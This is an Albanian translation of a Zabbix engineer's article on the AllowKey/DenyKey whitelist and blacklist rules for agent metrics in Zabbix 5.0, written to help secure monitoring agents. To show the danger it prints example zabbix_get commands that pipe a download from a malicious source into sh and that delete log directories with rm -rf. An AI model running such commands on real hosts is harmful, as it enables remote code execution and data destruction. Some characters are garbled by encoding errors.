
Mbështetje për lista të bardha dhe të zeza për metrikat nga ana e agentit
Tikhon Uscov, Inxhinier Integrimi, Zabbix
Problemet e sigurisë së të dhënave
Në Zabbix 5.0 është shtuar një funksion i ri që përmirëson sigurinë në sistemet që përdorin Zabbix Agent dhe zëvendëson parametrin e vjetër EnableRemoteCommands.
Përmirësimi i sigurisë së sistemeve që përdorin agjentin ka të bëjë me faktin se agjenti mund të bëjë një sërë veprimesh potencialisht të rrezikshme.
- Agjenti mund të mbledhë pothuajse çdo informacion, duke përfshirë ato të ndjeshme ose potencialisht të rrezikshme, nga skedarët e konfigurimit, skedarët e logëve, skedarët me fjalëkalime ose çdo skedar tjetër.
Për shembull, duke përdorur utilitarin zabbix_get mund të aksesoni listën e përdoruesve, katalogët e tyre personalë, skedarët me fjalëkalime, etj.

Aksesi në të dhëna përmes utilitarit zabbix_get
VĂREJTJE. TĂ« dhĂ«nat mund tĂ« merren vetĂ«m nĂ«se agjenti ka tĂ« drejta pĂ«r leximin e skedarit pĂ«rkatĂ«s. Por, pĂ«r shembull, skedari /etc/passwd/ Ă«shtĂ« i aksesueshĂ«m pĂ«r tĂ« gjithĂ« pĂ«rdoruesit.
- Agjenti gjithashtu mund të ekzekutojë komanda potencialisht të rrezikshme. Për shembull, çelësi *system.run[]** lejonë të kryeni çdo komandë të largët në nyjat e rrjetit, duke përfshirë ekzekutimin e skenarëve nga ndërfaqja e internetit Zabbix, të cilët gjithashtu ekzekutojnë komanda në anën e agjentit.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- Në Linux, agjenti fillon në mënyrë të parazgjedhur pa privilegje root, ndërsa në Windows ai fillon si një shërbim nën emrin System dhe ka qasje të pakufizuar në sistemin e skedarëve. Përkatësisht, nëse pas instalimit nuk bëhen ndryshime në parametrat e Agjentit Zabbix, agjenti ka qasje në regjistrin, sistemin e skedarëve dhe mund të kryejë kërkesa WMI.
Në versionet më të hershme, parametri EnableRemoteCommands=0 lejonte vetëm ndalimin e metrikave me çelësin *system.run[]** dhe ekzekutimin e skenarëve nga ndërfaqja e internetit, por nuk kishte mundësi për të kufizuar qasjet në skedarë të veçantë, për të lejuar ose ndaluar çelësa të veçantë që ishin vendosur paralelisht me agjentin, ose për të kufizuar përdorimin e parametrave të veçantë.

Përdorimi i parametrave EnableRemoteCommand në versionet e hershme të Zabbix
AllowKey/DenyKey
Zabbix 5.0 ndihmon në mbrojtjen nga ky qasje i paautorizuar përmes listave të bardha dhe të zeza për miratimin dhe ndalimin e metrikave në anën e agjentit.
Në Zabbix 5.0, të gjithë çelësat, duke përfshirë *system.run[]**, janë të lejuara, dhe janë shtuar dy parametra të rinj të konfigurimit për agjentët:
AllowKey= â kontrollime tĂ« lejuara;
DenyKey= â kontrollime tĂ« ndaluara;
ku â Ă«shtĂ« modeli i emrit tĂ« çelĂ«sit me parametra, nĂ« tĂ« cilin pĂ«rdoren metasimbolĂ«t (*).
ĂelĂ«sat AllowKey dhe DenyKey lejojnĂ« tĂ« lejojnĂ« ose ndalojnĂ« metrika tĂ« veçanta sipas njĂ« modeli tĂ« caktuar. NĂ« krahasim me parametrat e tjerĂ« tĂ« konfigurimit, numri i parametrave AllowKey/DenyKey nuk Ă«shtĂ« i kufizuar. Kjo lejon pĂ«rcaktimin e qartĂ« se çfarĂ« mund tĂ« bĂ«jĂ« agjenti nĂ« sistem pĂ«rmes krijimit tĂ« njĂ« peme kontrollesh â çelĂ«sa tĂ« ekzekutueshĂ«m, ku njĂ« rol shumĂ« tĂ« rĂ«ndĂ«sishĂ«m luan rendi i shkrimit tĂ« tyre.
Rendi i rregullave
Rregullat kontrollohen në rendin në të cilin janë futur në skedarin e konfigurimit. Kontrolli i çelësit sipas rregullave ndodh deri në ndeshjen e parë, dhe sapo çelësi i elementit të dhënash përputhet me modelin, ai lejohet ose ndalohet. Pas kësaj kontrolli i rregullave ndalon, dhe çelësat e tjerë injorohen.
Prandaj, nëse një element përputhet si me një rregull lejuese ashtu edhe me një rregull ndaluese, rezultati do të varet nga cili rregull është i pari në skedarin e konfigurimit.

2 rregulla të ndryshme me të njëjtin model dhe çelës vfs.file.size[/tmp/file]
Rendi i përdorimit të çelësave AllowKey/DenyKey:
- rregulla të sakta,
- rregulla të përgjithshme,
- rregull ndalues.
Për shembull, nëse keni nevojë për qasje në skedarët në një dosje të caktuar, duhet së pari të lejoni aksesin në ta, dhe më pas të ndaloni gjithçka tjetër që nuk përfshihet në lejet e caktuara. Nëse në radhë të parë përdoret një rregull ndalues, qasja në dosje do të ndalohet.

Rendi i duhur
Nëse është e nevojshme të lejohet ngritja e 2 utilitareve përmes *system.run[], dhe nëse në radhë të parë do të citohet një rregull ndalues, utilitarët nuk do të ngrihen, sepse modeli i parë do të përputhet gjithmonë me çdo çelës, dhe rregullat nënvizon do të injorohen.

Rendi i gabuar
Modelet
Rregullat kryesore
Modeli është një shprehje me karaktere zëvendësuese (wildcard). Simboli meta (*) përputhet me çdo numër të simboleve të çdo tipi në një pozitë të caktuar. Simbolet meta mund të përdoren si në emrin e çelësit ashtu edhe në parametra. Për shembull, mund të përcaktoni tekstin e parë në mënyrë të fortë, ndërsa parametri në vazhdim ta tregoni si wildcard.
Parametrat duhet të jenë të vendosur në shenjë katrore [].
system.run[*â e gabuarvfs.file*.txt]â e gabuarvfs.file.*[*]â e saktĂ«
Shembuj të përdorimit të wildcard.
- Në emrin e çelësit dhe në parametrin. Në këtë rast, çelësi nuk i përputhet një çelësi tjetër që nuk përmban parametrin, pasi në modelin kemi specifikuar që duam të marrim një fund të caktuar të emrit të çelësit dhe një grup parametrash.
- Nëse në model nuk janë përdorur shenjat katrore, modeli lejon të gjitha çelësat që nuk përmbajnë parameter dhe ndalon të gjithë çelësat me parametrin e specifikuar.
- Nëse çelësi është shkruar plotësisht, dhe parametrat janë specifikuar si wildcard, ai do t'i përputhet çdo çelësi tjetër të ngjashëm me parametrat e çdo lloji dhe nuk do t'i përputhet çelësit pa shenjat katrore, dmth do të lejohet ose ndalohet.

Rregullat për plotësimin e parametrave.
- NĂ«se pĂ«rdorimi i çelĂ«sit me parametra parashikohet, parametrat duhet tĂ« shkruhen nĂ« skedarin e konfigurimit. Parametrat duhet tĂ« pĂ«rcaktohen si metasimbol. ĂshtĂ« e nevojshme qĂ« tĂ« ruhen me kujdes nga qasja e ndonjĂ« skedari dhe tĂ« merren nĂ« konsideratĂ« se çfarĂ« informacioni mund tĂ« kthejĂ« metrika nĂ« raste tĂ« ndryshme shkrimi â me parametrat dhe pa ato.

Karakteristikat e shkrimit të çelësave me parametra
- Nëse çelësi është i specifikuar me parametra, por parametrat janë të opsionalë dhe janë përcaktuar si metasimbol, çelësi pa parametra do të lejohet. Për shembull, nëse dëshironi të ndaloni marrjen e informacionit mbi ngarkesën e CPU-së dhe përcaktoni se çelësi system.cpu.load[*] duhet të jetë i ndaluar, mos harroni se çelësi pa parametra do të kthejë vlerën mesatare të ngarkesës.

Rregullat për plotësimin e parametrave
Vërejtjet
Konfigurimi
- Disa rregulla nuk mund të ndryshohen nga përdoruesi, për shembuj, rregullat e zbulimit (discovery) ose autoregjistrimit të agenëve. Rregullat AllowKey/DenyKey nuk prekin parametrat e mëposhtëm:
â HostnameItem
â HostMetadataItem
â HostInterfaceItem
VĂREJTJE. NĂ«se administratori ndalon ndonjĂ« çelĂ«s, kur kĂ«rkoni Zabbix, nuk jep informacion mbi arsyen se pĂ«rse metrika ose çelĂ«si bien nĂ« kategorinĂ« âNOTSUPPORTEDâ. NĂ« skedarin e log-eve tĂ« agentit, informacioni mbi ndalimin e ekzekutimit tĂ« komandave tĂ« largĂ«ta gjithashtu nuk shfaqet. Kjo Ă«shtĂ« bĂ«rĂ« pĂ«r arsye sigurie, por mund tĂ« komplikohet procesi i debug-imit nĂ«se metrikat bien nĂ« kategorinĂ« e papĂ«shtatur pĂ«r ndonjĂ« arsye..
- Nuk duhet të mbështeteni në ndonjë rend të caktuar të lidhjes së skedarëve të jashtëm të konfigurimit (p.sh., në rendin alfabetik).
Utilitat e linjës së komandës
Pas konfigurimit të rregullave, është e nevojshme të siguroheni se gjithçka është e konfiguruar saktë.
Mund të përdorni një nga tre opsionet:
- Shtoni metrikën në Zabbix.
- Testoni me zabbix_agentd. Agjenti Zabbix me opsionin -print (-p) shfaq tĂ« gjitha çelĂ«sat (qĂ« janĂ« tĂ« lejuar si tĂ« paracaktuar), pĂ«rveç atyre qĂ« nuk lejohen nga konfigurimi. Dhe me opsionin -test (-t) pĂ«r çelĂ«sin e ndaluar do tĂ« kthejĂ« âUnsupported item keyâ.
- Testoni me zabbix_get. Utilitari zabbix_get me opsionin -k do tĂ« kthejĂ« âZBX_NOTSUPPORTED: Unknown metricâ.
Lejoni ose ndaloni
Mund të ndaloni qasje në skedarin dhe të siguroheni, për shembull, me utilitën zabbix_get, që qasja në skedar është e ndaluar.

**
VĂREJTJE. Citatet nĂ« parametrin injorohen.
Megjithatë, aksesimi i këtij skedari mund të lejohet përmes një rruge tjetër. Për shembull, nëse ai është çuar nga një symlink.

Rekomandohet të kontrolloni varianta të ndryshme të aplikimit të rregullave të vendosura, si dhe të merrni parasysh mundësitë për të anashkaluar ndalimet.
Pyetje dhe përgjigje
Pyetja. Pse u zgjodh një sistem kaq kompleks për përshkrimin e rregullave, lejeve dhe ndalimeve? Pse nuk kishte mundësi të përdorej, për shembull, shprehje të rregullta, siç përdor Zabbix?
Përgjigja. Kjo është një çështje e performancës së regex, pasi agjenti zakonisht është një, dhe kontrollon një sasi të madhe metrike. Regex është një operacion mjaft i rëndë, dhe ne nuk mund të kontrollojmë mijëra metrika në këtë mënyrë. Wildcards janë një zgjidhje universale, e përdorur gjerësisht dhe e thjeshtë.
Pyetja. A nuk lidhen skedarët Include në rend alfabetik?
Përgjigja. Sipas sa kam informacion, është praktikisht e pamundur të parashikohet se si do të aplikohen rregullat, nëse i shpërndani rregullat në skedare të ndryshme. Rekomandoj të mblidhni të gjitha rregullat AllowKey/DenyKey në një skedar Include, sepse ato bashkëveprojnë me njëra-tjetrën, dhe të lidhni këtë skedar..
Pyetja. NĂ« Zabbix 5.0 opsioni âEnableRemoteCommands=â nĂ« skedarin e konfigurimit mungon, dhe janĂ« tĂ« disponueshme vetĂ«m AllowKey/DenyKey?
Përgjigja. Po, është e saktë.
Faleminderit për vëmendjen!
Burimi: habr.com
